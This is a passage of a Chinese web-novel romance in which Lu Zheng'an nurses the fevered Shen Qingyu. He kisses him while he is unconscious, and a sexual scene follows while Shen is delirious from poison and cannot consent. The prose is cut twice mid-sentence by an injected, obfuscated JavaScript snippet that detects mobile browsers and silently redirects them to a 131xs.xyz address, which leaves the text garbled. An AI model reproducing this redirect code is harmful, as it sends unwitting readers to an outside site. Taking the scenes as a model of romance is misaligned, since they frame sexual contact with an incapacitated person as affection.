韩修远看的直摇头:“何其悲哉!关公胯.下过,关关难关关过,横刀跨步拦天劫,三分醉眼望苍生,虽大步流星,但心中无助,就算握尽了青龙偃月刀,又如何能斩尽这天下的不公,该何从下手啊?”
“他也只是个被寄予希望的普通人而已。”陆峥安静静道。
韩修远叹息不已。
此刻的气氛已经沉重到了极点,一改之前的轻松。
平和、盛大的表象被撕开,露出生活的绝大多数真相来。
陆峥安视线所及之处,隐隐约约看到那个酒楼上的老板身着华服,弯着腰恭迎着出入的身份显贵的诸多客人;而面前却是跪在关公面前、衣衫单薄、队伍越来越大的众人。
这显然是鲜明对比。
陆峥安皱起眉头,不放心地看了一眼旁边的人,却发现,不知何时面前的沈卿钰消失不见了。
他随着拥挤的人群,找了好几次,终于在祈福台旁边找到了他。
这时候,乌云一片的夜空,突然下起大雨来。
众人欣喜地高呼:
“下雨了!!关圣帝君显灵了!”
“天降福雨啊!!”
真的下雨了!
熙熙攘攘的人群全都围着祈福台跪拜,关二爷的本人扮演者也卸下高跷,恭恭敬敬地在祈福台下跪下。
陆峥安就这样远远地去看。
伴随着淅沥沥雨水的降落,那身姿如雪的人就这样立在祈福台前。
如一根挺立又坚韧的青竹。
而此刻那人圣洁的脸上,如蝶一样的睫羽微微垂下,神情莫辨地看着台下诸人,就像站在神庙里的观世音,仁慈且悲悯。
他的脸模糊一片被雨水打湿,让人分不清是雨水还是泪水。
陆峥安心绪激荡,快步走向前,抓住他的衣袖,轻轻唤了一声:
“阿钰。”
仿佛如梦初醒。
陆峥安终于看清,那潋滟狭长的眸子里此刻竟然空洞一片,显出少有的迷茫来。
就着雨水,他仿佛看到,清澈又细密的细流从那秋水瞳中流出来,形成了两道小溪,就这样清流永隽地流进他心里。
陆峥安心里一痛,抓住他的手往怀里一带,牢牢抱住了他。
抚摸着他被雨水打湿的头发,似乎要替他挡住风雨。
但手触碰到他额头的时候,却发现温度高的惊人。
“陆筝,你说,他们求神拜佛,真的有用吗?明知没用,为什么要去求?”
那倨傲冷清的人,在他怀里疑惑不解地问道。
——语气却又好像带着答案,不知是问他还是在问自己。
随后,失去力气,从他怀中滑落下来。
“阿钰!”
18. 私欲
社火节当晚,陆峥安抱着昏迷不醒、浑身高热的沈卿钰找了个客栈临时住了下来。
因陆母所授,他从小学了一些医术,虽然医术比不得段白月那么精湛,但给人看个小风寒是没什么问题的。
“怎么样了?沈大人没事吧?”一旁的韩修远着急地问道。
韩修远看着面前的男人紧紧蹙着眉头,神情专注万分,全然不似平日和他们称兄道弟时的随性轻松,不由得更加紧张了——沈大人不会得了什么不治之症吧?
陆峥安将手放在他腕上,几次探查之后,发现除了感染风寒引发的高热之外并没有其他疾病,稍稍松了一口气。
可总觉得脉象奇怪,好像有一股被压制的脉象,而这个被压制的部分不是他的医术、乃至普通大夫能检查出来的。
但医者敏锐,他能看出来或许沈卿钰有他不知道的事隐瞒着他,但目前他的身体除了因为这几日的连日奔波体力有些耗尽,以致感染风寒外,是没有其他异样的。
“无碍,他只是因为这几天辛苦奔波,感染了风寒,开个驱寒药休息几天就好了。”陆峥安朝焦急等待的韩修远解释道,“不必担心,我这几日会留在他身边照顾他。”
韩修远刚准备点头,又看了看周围一直等着他们的胡斯众人,连忙道:“陆兄还是先忙镖局的事吧,毕竟沈大人是我们同僚,怎好一直劳烦陆兄,沈大人交给我和李大人就行了,把开的药给我我来熬。”
陆峥安不动声色瞟了眼李重,李重心领神会,主动上前道:“镖我们剩下的人走就行了,已经到鹭洲城了接下来就没什么事了,沈大人现在身边不能缺大夫照顾。”
韩修远还想客气,李重揽着他肩膀拍了拍:“行了行了,这点小忙就别和兄弟们计较了,再说我家老大和沈大人一路上处挺好,他又会医术,肯定能照顾好沈大人的,有他在咱别操心。”
“走吧,还是不要耽误沈大人静养,我们先出去吧。”
说着说着,便拉着韩修远往外走了,最终韩修远也认同了他的话,只是嘱托陆铮安有事一定要叫他。
门外,李重勾着韩修远肩膀,边走边打听:“我看韩大人心细如发,家中可有娶夫人?”
听韩修远回他家中已经替他定亲了,今年完婚,他才满意地点头——好在你小子不是要跟老大抢人,不然他也难做啊。
直到一群人走完,房间里才安静下来。
陆峥安将刚抓来的药用小炉子熬好,用瓷碗盛好后拿了进来。
自己先尝了一下,发现实在太苦又放了不影响药效的蜜枣进去,然后端进屋内将碗放在床边先晾会儿。
他将他额头上盖着降温的湿巾帕拿了下来,然后坐在床边,环住他的腰,将被子往上提了提盖到他胸口,让他靠在自己身上,将他完完整整抱在怀里。
窗外淅淅沥沥下着雨,床边桌上放着装着药水的瓷碗。
昏黄的烛火透过床帷,洒在沈卿钰如墨般的发上,暖意铺河,将他身上的淡漠清冷削减了几分。
看着安静靠在自己怀中,眉头却依然紧紧蹙着的人,摇头笑了笑,抬手替他将眉宇抚平,笑容之间可见惆怅:“每天在忧心什么事?眉头皱的跟小老头似的。”
处于睡梦中的对方显然没有回他。
“傻阿钰。”他轻轻抚了抚那稍显苍白的唇,眼里浮现一丝无奈,“这天下之事何其多,又岂是一人之力可解决的,还把自己搞的生病。”
转眸去看放在桌边的小药碗,用手探了探碗边,感觉温度适中,然后端了起来。
“喝药吧。”
将桌边的药小心舀了一勺,递到他嘴边喂他喝下。
可药进到他嘴里,不到半口就全部倒了出来,半碗下去流了一大半,根本喂不了几口。
陆峥安明白过来,此时的沈卿钰是昏迷不醒的,张不开嘴很正常。
“阿钰。”陆峥安用洗干净的巾帕替他擦拭掉流下去的药,又微微掐住他下颚让他张开嘴,再次尝试将药喂进他嘴里,压着声音,像哄小孩一样的,“听话,乖,张嘴。”
可依然是失败了,嘴是张开了但舌头压着喉咙,药进不去。
陆峥安眼里划过一抹沉思,曲起的手指微微攥紧,静静看着怀里的人。
垂眸望着沉睡在自己怀中的清冷如雪的人,那张艳丽的脸离自己近在咫尺,依稀可见细腻的皮肤上雪绒花一样的绒毛,唯独那红艳的唇瓣因为生病而变得有些苍白。
漆黑的眸子沉了几沉,没有过多纠结,毫不犹豫地——
他端起药碗自己喝了一大口,然后放下药碗。
修长有力的手托住那圣洁清冷的下巴、掐开他的牙关,唇对唇地贴上他的唇瓣,以一种不容拒绝的力道。
也没管这样下去,他自己是否也会染上风寒。
窗外的雨仍然在下,淅淅沥沥地滴在窗格上,雨水将客栈外的嘈杂都隔绝了起来,被放在木桌上的瓷白碗里的汤
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15025625|162241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
药流淌着淡黄色的光,倒映着房间里交颈相拥的两个人。
陆峥安舌尖推着药汁越过他的舌关,挤入他的喉咙里面,压着他的唇舌,随即药水顺利进入他喉咙之中。
药汁推完之后,陆峥安退开些许让对方可以自由呼吸。
他用手探了探他额头,见到高热有退下去的趋势,心里松了口气。
垂下头,是怀中人云霞漫天,清山雪莲一样的脸。
烛火在眸光中跳动,倒映着他全部的倒影,柔光荡动。
再次圈紧他的腰,重新覆盖上那片柔软。
——显然这次不再仅仅只是单纯的喂药,多了些别的意思。
撬开他的舌关,在他唇齿间缱绻勾勒、扫荡吸吮。
怀里的人安安静静地依偎在他怀中,没有反应也不会挣扎,张开唇舌任由他侵入其中,像收起尖爪的猫。
“阿钰……”重新尝到那片柔软后,他声音哑了几分。
他将手环在他精瘦的腰间轻轻摩挲,手掌的温度灼热滚烫,手心攥出汗水来。
陆峥安伸出舌尖,轻轻在他唇瓣边舔舐啄吻留在他唇瓣边的剩余药汁,动作温柔细致。
唇瓣微凉的触感和之前第一次尝起来的感觉差不多。
截然不同的是心态上的变化,当时他是一种被动的帮助、可现在却是主动地渴求…
水渍舔掉后,流淌在舌尖的药汁本应该是苦涩难当的,可陆峥安却尝到了清甜,不知是不是加在药水里的蜜枣起了作用。
直到最后一滴舔.舐干净,陆峥安才微微喘息着松开他的唇舌。
眼里划过一丝嘲弄。
——啧。终于是找不到理由去满足私欲了吗?
他松开桎梏着对方腰部的力道,拿过铜盆里拧干的巾帕在他精致的下巴上擦拭,替他拭去药汁的黏腻。
一切处理完后,他再次环住他,想去探探他的脉象。
还没伸手,手腕处却突然传来一股收紧的力道,他一时没反应过来,天旋地转间,身位颠倒,他被对方攥着手腕压在了床上。
他盯着面前的人惊诧道:“阿钰?”
可对方却并没有回他,头顶被阴影盖住,让人看不清他脸上的表情,紧接着——
唇上一重,热气喷洒在他脸上。
浓烈的梅花香混合着药香扑面袭来,唇瓣被碾压,面前的人贴着他的唇撬开他舌关,比他力道更重、温度更灼热的吻狂风骤雨般袭来。
19. 抚弄
陆峥安睁大了眼睛,他垂眸去看面前的人,却发现对方一直都紧紧阖着那双不辨悲喜的眸子,并没有醒过来的趋势,只是那张清冷的脸上染上了一层不正常的酡红。
陆峥安急促呼吸着松开他,和他分开距离,伸手去探他的脉搏,发现他才平息下的脉搏变得急促、紊乱起来。
他皱眉去思索,结合对方现在似曾相识的反应,他可以确定,这是上次在黑风寨中的毒余毒未清,伴随着身体里的高热再次被催发了出来。
不应该啊?他上次已经帮他清过余毒了,又怎么会再次复发?还有深藏内府被隐去的脉象,到底是什么?
可当下来不及去考虑太多,当务之急还是先替他解掉余毒。好在他身上只存少量被高热引发的余毒,其实只要再喝一碗黄连解毒汤就行了,他抓来剩下的药材刚好够熬一碗。
“热、好热……”
靠在他身上的人发出一声痛苦的声音,紧闭着眸子,在他身前不安、急躁地扭动。
陆峥安本就有反应的地方因为他的扭动而变得渤发起来,不消片刻他的鬓角也随着身上人的挣扎湿了起来。
他一把按住他的腰不让他乱动,声音像在砂纸上磨过:“听话,别乱动,喝完药就好了。”
然后掀开被子,起身想去给他熬药,却被对方抓住了手。
他停步去看,却正好撞进那双潋滟狭长的眸子里,因为高热的原因而沾染上几分说不清道不明的湿意,此刻正睁开眼含着春.意地看着他。
而更致命的是对方因为挣扎滑落下的衣衫,如雪山尖一样的肩胛骨露出来,在胸前堪堪停下,如雪莲一样层层盛开出白的炫目的紧致肌理,唯独半遮半掩的一点红梅堪堪在雪山上露出枝头。
雪月相宜,梅雪清绝。
陆峥安大脑瞬间空白。
“热、冷……”那双微微睁大的瞳孔流露出无助、急躁、还有不耐。
很显然,此刻的沈卿钰又像之前中毒那样,在高热的催发下,变得意识不清了起来。
似乎是感受到手心的凉度,他用力将陆峥安一扯。
随后陆峥安被他扯进床间。
随之,被灼热体温烹的浓烈的梅香,一时之间充满了陆峥安的鼻尖,对方紧紧环住他的腰,整个人面对面地贴在了他身上,汲取着他身上凉意,却因为动作太慌乱而差点从床上掉了下去。
陆峥安连忙扶住他肩膀防止他掉下去,可手在抚上那片光滑的皮肤后,瞬间眼神都变了。
“凉、热、难受……”此刻冰火交织的沈卿钰埋首趴在他肩膀上,急切地、伏在他身上寻求着某种解决方式,在扬起头的时候,唇瓣轻轻擦过他的下巴,清冽的梅香再次朝陆铮安扑面而来。
陆峥安眼神几度沉浮,最终一把掌住他的腰,将他压在身下,然后伸出手牢牢扣住他的后脑勺,俯身吻上他的唇瓣。
梅花香再度在唇齿之间绽放开来,混合着白芷、栀子花的药香。
“阿钰……”他哑着声音,撬开他的唇勾住他的唇舌,刚刚缠绕上,对方如汲取甘霖一般,牢牢吸吮住他的唇舌,杂乱无章地在他唇舌之间扫荡,甚至发出渍渍吮吸声。
听着他无意识发出的声音。
陆峥安摁着他脖颈的手险些失力,因力道太大手背都鼓起青筋来,胸膛上下急促起伏。
窗外的雨终于停了下来,安静的房间此时只能听到潺潺水声。
那平时高不可攀的冰山雪莲,此刻如同化开了一样,呈现出任人采摘的乖顺模样。
陆峥安赤|裸着精壮的胳膊从后面拥着他,轻轻拨开覆盖在他肩膀上墨黑的发,冰凉如锻的发丝垂落在他手臂上,漆黑的眸子深如长夜,他附身在那白的晃人的肩膀上埋首,随后张开牙齿缓缓啮咬,不消片刻便留下一道妖冶的红梅印记。
“痛……”身上的人发出无意识的一声轻呼。
“那我轻点,好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15025626|162241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不好?”陆峥安哑着声音,安抚性地唅住他玉透的耳垂轻柔舔舐,话虽温柔,可片刻后来到他脖颈上的齿尖却没放过他,再度吮住微微浮现青筋的地方,一点点咬住,身前的人因为吃痛,青筋鼓胀,发出短促高昂的一声,“唔!”随之高高仰起秀长的脖颈,像瀕死的白鵝。
陆峥安沉着眸子,掐住他精巧的下巴,撬开他的牙关,以一种绝对贴合的力道狠狠吻了上去,让对方迎着他的力道与之共舞。
空气到了某种灼热的时候。
“给、我……”
那如雪一样的人发出压抑的、痛苦的声音。
陆峥安呼吸滞住,圈在他腰间的手微微发起抖来。
紧接着——
“给我!”一股大力传来,像之前温泉那次,对方又挣扎着把他掀开,压着他。
“别乱动!”
陆铮安将他双手反剪在身后,压制着他,不让他再胡乱动作。
“难受…”
枕巾成片洇湿。
卸力般地、陆峥安倒在他肩颈上,闭上眼睛,“阿钰……”他的声音挣扎嘶哑,“求你了,别沟我了行吗?”
“你生病了。”
他抚上他鬓边的湿发,眸中沉着涌流:“如果,今天我真对你做了什么,你明天记起来,肯定会怨我的。”
——就像之前那次,会提剑问他为何要趁人之危,大骂他是个无耻之徒。
可高烧不退的沈卿钰却听不到,醉生梦死发作,意识模糊中,凭借下意识将他的手一路牵引到了前方塵柄上。
陆峥安浑身一僵。
客栈里卧房中架着一块檀木做的屏风,古朴的屏风上面刻着精巧的镂雕。
雕刻这个屏风的匠人手艺精湛,即便是周遭环境也打扰不了他的专心。
以一颗最虔诚的心雕刻出最完美的作品。
沿着沟渠、胫络、冠心。
不错过每一个地方。